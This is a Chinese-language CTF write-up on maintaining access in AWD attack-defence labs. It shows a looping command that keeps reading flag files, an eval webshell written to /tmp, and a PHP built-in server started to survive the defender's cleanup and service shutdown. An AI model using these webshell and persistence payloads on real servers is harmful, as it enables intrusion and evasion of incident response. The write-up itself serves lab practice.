提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
靶场介绍
这里我们自然不可能去用真实的生产环境进行尝试,所以这里用一些CTF 靶场以考代练 来熟悉我们担任红队后应该做的哪些维权操作以及原理讲解;
这类题目是安全领域 AWD(Attack With Defense,攻防对抗)模式下的经典场景,核心考点在于权限维持。在常规的渗透测试中,拿到 WebShell 通常意味着拿下了目标;但在模拟真实红蓝对抗的 AWD 场景中,拿到初始权限仅仅是开始。你需要考虑如何让你的后门在防守方的疯狂清理、修补和溯源下存活下来。这就像在真实的攻防演练中,蓝队成员在接到预警后会迅速排查可疑进程、清除恶意文件并封堵漏洞。这道题就是让你站在红队攻击者的视角,编写一个让蓝队应急响应极其头疼的"不死马"(Undead Webshell),实现后门的持续驻留。
话不多说,我们直接开始;
了解详情请看:CTF模拟红队进行权限维持(一)
场景二
打开网页,我们可以发现与场景一的代码并没有区别:

(但真的只是看起来没有区别,这里我们套用之前的payload,可以发现并没有成功)
这里查看了一下文件权限,发现并没有写入权限:

bash
total 12
drwxr-xr-x 1 root root 4096 Aug 18 2021 .
drwxr-xr-x 1 root root 4096 Oct 18 2019 ..
-rw-r--r-- 1 root root 381 Aug 18 2021 index.php
没有写入权限,接下来我们还能用什么方式上传"不死马"呢?
绕过方法(参考文章)
我也是第一次遇到这种情况,所以参考了网上的WP:
- 参考文章:
- 在
羽师傅那里学了一招 - shell脚本之十:while循环及应用实践
- web入门-权限维持
- 在
bash
system('while true;do cat /f*;done');
在一个窗口发送后进程会锁死,另一个窗口check;第一个窗口就会不断返回flag
while true;do cat /tmp/f*;done是shell脚本的语法,满足条件(true)时,执行cat /f*命令。

不用管,直接执行check(只会删除掉文件,而不是进程)
再执行一次命令即可:
bash
GET:?action=cmd
POST:cmd=system('sleep 10;cat /f*');
场景三
题目描述:check后,会停止一切web服务,包括nginx php-fpm,天地同寿的打法,你能应付吗
相对于前两关,该场景应对的条件更加的苛刻:

绕过思路
这里参照网上大神们的方法:
(1) 首先是启动php内置服务器,类似于python 能开启http服务一样(因为Web服务器关闭并不会影响服务器本身运行的php,python服务的运行)
(2) 由于是www-data 权限,⽆法直接启动nginx和php-fpm,但是可以启动php内置服务器php -S 0.0.0.0:80,运行命令的根目录就被当成web服务根目录。
(3)在可写的/tmp目录下传木马并写系统命令,然后提交10秒内进⾏check,check会关闭nginx 和php-fpm ,由于是www-data权限,⽆法启动nginx和php-fpm,直接启动php内置服务器即可;
php
cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST['a']);?>");system("sleep 10 && php -S 0.0.0.0:80 -t /tmp/");
传入后可以在看看有没有成功写入php:

10s内 执行check 后:
十秒结束后php内置服务开启,我们就可以使用木马执行命令。

执行木马命令:


总结
至此,最简单的权限维持场景我们都有所了解,之后就可以接触更多相应的知识来巩固我们的技术能力;